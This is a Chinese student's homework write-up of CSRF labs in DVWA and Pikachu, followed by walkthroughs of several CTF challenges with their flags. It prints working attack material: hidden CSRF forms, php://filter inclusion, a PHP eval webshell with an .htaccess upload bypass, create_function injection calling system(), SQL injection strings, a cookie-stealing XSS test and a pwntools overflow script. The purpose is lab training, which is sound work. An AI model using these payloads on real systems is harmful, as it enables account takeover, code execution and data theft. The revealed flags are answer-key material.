第五周作业

dvwa的csrf

按照步骤搭建好靶场后

搭建好后就可以开始做题了

CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。

low

先分析一下源码

复制代码
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
//获取两个输入框的密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
    // Do the passwords match?
//查看两次输入的是否一致
    if( $pass_new == $pass_conf ) {
        // They do!
//如果一致就直接插入数据库
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
 
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
 
?>

通过GET方式获取两次密码,两次密码输入一致的话,就可以直接带入数据中修改密码。

先尝试一下,将两次密码都修改为123456

然后测试一下原来的密码,发现登录失败

再试一下123456,发现登陆成功

经过尝试发现可以成功修改密码,在 C:\phpstudy_pro\WWW 文件夹中建立一个 1.html ,里面写入

复制代码
<img src="http://127.0.0.3/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
 
<h1>404<h1>
 
<h2>file not found.<h2>

当我们打开1.html时,密码就会被修改为123456

Medium

先分析一下源码

复制代码
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
 
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
 
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
 
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
 
?>

增加了referer判断只有 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域才能进入修改密码的语句中;

在重置过数据后,发现修改密码失败

用bp抓包后发现,新打开的页面与原页面的差别是缺少了referer

我们自己给他加一个就可以了

high

先分析一下源码

php 复制代码
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
//可以看到加入了token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
 
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>

High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。

查了一下大佬的wp,发现可以利用xss,xss可以执行代码,获取token

<script>alert(document.cookie)</script>

获取cookie值后,用bp抓包,修改密码,将得到cookie值换了就行了

Impossible

先查看一下源码

php 复制代码
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
//输入原来的密码
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );
 
    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();
 
    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
 
        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();
 
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>

得到要求我们先输入密码再修改,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的。

这里使用函数check Token()验证了token的有效性,彻底阻断了csrf漏洞。

pikachu的csrf

get

先登录上去看看(账号密码在提示那里)

我们使用两个页面,明确目标利用CSRF攻击去修改allen(用户)的个人信息。

先修改lucy自己的个人信息并抓取数据包

将lucy的链接复制后,发送给allen,allen在登录了该网站的前提下,点击了lucy刚刚复制下来发给他的链接,就会发现个人信息被改

post

先登录lucy,修改信息使用bp抓包

发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用;攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。

构造网站

php 复制代码
<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="15088888888" />
                <input type="hidden" name="add" value="缅甸" />
                <input type="hidden" name="email" value="222488@qq.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

将写好的表单部署到WWW\pikachu\vur\scrf目录下

然后访问站点127.0.0.1/pikachu/vul/csrf/CSRF.html并点击提交按钮,那么其个人信息将会被恶意修改

Token

Token验证原理:

CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。

网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

先用lucy登录后,使用bp抓包修改

发现其中含有token,查看一下源码

php 复制代码
if(isset($_GET['submit'])){
    if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
        //转义
        $getdata=escape($link, $_GET);
        $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
        $result=execute($link, $query);
        //没有修改,点击提交,也算修改成功
        if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
            header("location:token_get.php");
        }else {
            $html1.="<p>修改失败,请重新登录</p>";

        }
    }
}
//生成token
set_token();

?>

修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

set_token()函数在生成新token之前会先销毁老token,避免token重复使用。

将请求方法改为 POST,避免敏感数据暴露在 URL 中。

[ACTF2020 新生赛]Include

打开后,发现没有什么信息,点击tips发file注入点,尝试查看index.php发现什么也没有

尝试使用dirsearch扫一下,发现被429拦截,尝试降低扫描速度,也无果

这题考察文件包含,尝试一下伪协议php://filter(文件内容过滤器)

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=index.php

解码后得到源代码

php 复制代码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

再尝试直接访问一下flag

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到flag

<?php

echo "Can you find out the flag?";

//flag{9a644b84-bb51-4662-95f6-c6f741dd936b}

[ACTF2020 新生赛]BackupFile

1

打开后还是没有任何信息

尝试使用dirsearch扫一下,发现还是被429拦截,根据这题备注备份文件,去了解了一下备份文件的相关知识

备份文件常用的后缀有以下几种:

.bak:表示备份文件,通常是在原文件名后面加上".bak"作为后缀。

.old:表示旧版本文件的备份,通常是在原文件名后面加上".old"作为后缀。

.~:表示临时备份文件,通常是在原文件名前面或后面加上"~"作为后缀。

.swp:表示编辑器临时文件的备份,通常是在原文件名后面加上".swp"作为后缀。

.tmp:表示临时文件的备份,通常是在原文件名后面加上".tmp"作为后缀。

.zip/.rar:表示压缩文件的备份,通常是将原文件或文件夹压缩成.zip或.rar格式的文件作为备份。

index.php-->index.php.bak

index.php-->index.old

index.php-->index.php.temp

尝试了之后发现访问index.php.bak后得到源码文件

php 复制代码
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

这里可以得到key注入点和key与str的php弱比较,所以只需要输入?key=123就可以得到flag

[GXYCTF2019]BabyUpload

题目给了源码,先查看一下源码

php 复制代码
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧!");
        }
    }
}
?>

分析后发现这题是文件上传,过滤了ph字符,只能上传jpg文件,由于过滤了ph,我们上传的一句话木马就上传JavaScript形式的一句话木马

php 复制代码
<script language="php">eval($_POST['hack']);</script>

上传之后发现,上传的是jpg文件,无法用蚁剑链接,这时我们就需要上传一个.htaccess文件,将我们的jpg解析为php

上传.htaccess文件时需要使用bp来修改一下content

成功上传.htaccess文件后,再转化一下我们的jpg文件

最后再使用蚁剑链接就可以查看flag了

[GXYCTF2019]禁止套娃

打开后,没有发现什么有用的信息,尝试了一些信息泄露的方法,发现并没有什么用,用dirsearch扫了之后,发现被429拦截,去查了一下,将间隔设置为0.1线程设置为1,来防止429,扫了之后,发现可疑git,然后使用GitHack跑一下,得到源码

php 复制代码
python GitHack.py http://93deb364-790b-4033-b82b-ffd8e57c18f7.node5.buuoj.cn:81/.git/
php 复制代码
<?php
// 包含flag.php文件(可能定义了$flag变量)
include "flag.php";
// 输出提示信息
echo "flag在哪里呢?<br>";
// 检查GET请求中是否有exp参数
if(isset($_GET['exp'])){
    // 第一层过滤:禁止使用data://、filter://、php://、phar://等伪协议
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        // 第二层过滤:使用递归正则匹配,只允许无参数的函数调用嵌套结构
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            // 第三层过滤:禁止包含et、na、info、dec、bin、hex、oct、pi、log等字符(防止使用特定函数)
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // 注释掉的调试输出
                // echo $_GET['exp'];
                // 执行exp参数中的PHP代码
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// 注释掉的源代码高亮显示
// highlight_file(__FILE__);
?>

分析源码后,得到过滤了一堆字符,目标是执行@eval($_GET['exp']),查了一下发现因为不能传参,所以只能利用函数回显来代替目标参数;

先查看一下flag的位置

?exp=print_r(scandir(pos(localeconv())));

localeconv(),回显数组,第一个数组是字符"."点号

pos(),传入数组,回显第一个数组的值,pos可以用current代替

所以pos(localeconv())等价于.号

而函数scandir(.)意思是以数组的形式回显当前目录下的所有文件

再配合print_r函数输出数组

得到flag在第四个数组里,需要将flag.php调到第一个数组里,需要利用到array_reverse()函数 数组反转;next()函数 数组指针移动到下一位;

先利用函数array_reverse将数组反转,构造payload

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

[MRCTF2020]你传你🐎

先尝试上传一个php的一句话木马文件,发现上传失败,后发现图片可以上传

上传成功后,尝试用蚁剑链接,发现链接失败,再尝试上传一下.htaccess文件,转换一下文件类型

这里上传.htaccess文件需要使用蚁剑修改一下content,上传成功后再将上传的jpg木马文件转化一下

最后再使用蚁剑链接,查看flag

某函数的复仇

打开后直接得到源码,先分析一下

php 复制代码
<?php
// 高亮显示当前PHP文件的源代码
highlight_file(__FILE__);
// 注释提示:flag文件位于 /flag
//flag:/flag
// 检查POST请求中是否包含名为'shaw'的参数
if(isset($_POST['shaw'])){
    // 获取POST参数'shaw'的值
    $shaw = $_POST['shaw'];
    // 获取GET参数'root'的值
    $root = $_GET['root'];
    // 正则匹配:检查$shaw是否只包含字母和下划线(a-z_),不区分大小写,且必须匹配整个字符串
    if(preg_match('/^[a-z_]*$/isD',$shaw)){
        // 正则匹配:检查$root是否包含禁止的命令/字符(rm、ch、nc、net、ex、-、de、cat、tac、strings、h、wget、?、cp、mv、|、so、$)
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
            // 如果通过过滤,将$shaw作为函数名调用,第一个参数为空,第二个参数为$root
            $shaw('',$root);
        }else{
            // 如果$root包含禁止字符,输出提示
            echo "Almost there^^";
        }
    }
}
?>

发现过滤了许多字符,发现create_function符合函数名规则,这里我们就可以使用这点,

create_function函数是 PHP 中的一个函数,用于动态创建匿名函数。然而,在某些情况下,如果使用不当,它可能会被攻击者利用来执行任意代码,从而导致安全漏洞。create_function函数接受两个参数,一个是包含函数参数的字符串,另一个是包含函数体的字符串。它会在运行时创建一个新的函数,并返回该函数的名称,以便后续调用。我们利用 create_function这个函数getshell,我们让 shaw=create_function,root=;}任意代码;// 其中}是为了闭合函数,//是为了注释后面的代码从而让我们执行我们想要执行的代码

发现flag,直接查看flag,

?root=}system("s\ort /flag");/*

shaw=create_function

[极客大挑战 2019]LoveSQL

打开后发现是一个登录页面

先谁便尝试一下

发现注入点,在输入1'时出现报错,说明是字符型,单引号闭合,先尝试一下万能密码

得到一个密码

用admin登录,发现并没有什么用,接下来就是是使用常规注入方法了

先查一下列数,发现在4时出现报错,1' order by 4#

说明表里有三列,再查看一下回显位,1' union select 1,2,3#

得到2,3是回显位,接下来查库

得到库名为geek,再查表名,/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到表名,再爆表值,flag在第二个表里,/check.php?username=1' union select 1,2,group_concat(username,id,password) from l0ve1ysq1%23&password=1

[NCTF2019]SQLi

打开后发现是一个登录页面,尝试后发现注入点为password,

没有发现什么有用的信息,先用diserach扫一下,发现被429拦截

修改扫描速度也没法,去kali上使用了dirmap,并修改速度后得到hint.txt,访问后得到

黑名单,过滤了一堆东西$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";去查看了一下大佬的wp,只需要爆破密码,构造payload,?username=\&passwd=||passwd/**/regexp/**/"^a";%00;

通过\ 转义username后第二个单引号进而闭合掉passwd后第一个引号;通过%00截断 代替# --

;regexp "^a" 表示 查找passwd列中以a为起始的

去找了一下大佬的脚本,爆破后得到密码

得到密码后填入就可以得到flag

变异凯撒

这题是密码题,发现是做过的

简单来说,凯撒密码就是移位,这题可以用脚本,也可以用随波逐流

被嗅探的流量

这题很简单,打开后直接搜索flag

flag就再下面

小明的保险箱

下载后得到一张图片,里面隐藏了一个rar包,直接使用随波逐流foremost文件提取

得到rar包,但是解压需要密码,还是使用随波逐流直接爆破

解压后得到flag

[LitCTF 2024]hello_upx

查壳后发现时upx的壳,用工具解不开,查了一下,发现需要使用十六进制编辑器,这里我们可以使用010来修改一下

修改之后再使用IDA打开

编写出exp

python 复制代码
enc = [ 0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70, 0x2B, 0x63,
  0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E,
  0x60, 0x4E, 0x5E, 0x4F]
flag = ''
for i in range(len(enc)):
    temp = enc[i] + i
    flag += chr(temp)
print(flag)

运行后得到flag,LitCTF{w3lc0me_t0_l1tctf}

没人能拒绝猫猫

下载文件后,导入到虚拟机中file和checksec一下,发现是64位程序,且开启了金丝雀和NX保护,直接使用IDA打开查看一下

发现buf变量定义是32个,而read输入的是40个,所以这里存在栈溢出

通过溢出buf到s2,将需要的类容lovecat写入到s2中就行了,去找了一下大佬的脚本

python 复制代码
from pwn import *
r = remote('120.46.59.242',2106)
elf = ELF('/home/ctfshow/Desktop/cat' )

payload = b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()

运行程序后,直接cat /flag 就可以得到flag了

相关推荐
小飞学编程...2 小时前
【Java相关八股文(一)】
android·java·开发语言
c***03232 小时前
Mysql之主从复制
android·数据库·mysql
火焰中舞蹈的小孩2 小时前
Unity和Android Studio相互调用 CH340在unity中调用
android·ide·android studio
不是AI2 小时前
【Unity开发】一、在安卓设备上运行Unity项目
android·unity·游戏引擎
p***19942 小时前
MySQL Workbench菜单汉化为中文
android·数据库·mysql
wsfk12342 小时前
MySQL 数据库连接池爆满问题排查与解决
android·数据库·mysql
撩得Android一次心动2 小时前
Android DataBinding 全面解析【使用篇】
android·jetpack·databinding
Web打印5 小时前
Phpask(php集成环境)之06每个网站单独设置PHP版本
android
fengci.5 小时前
baby杯
android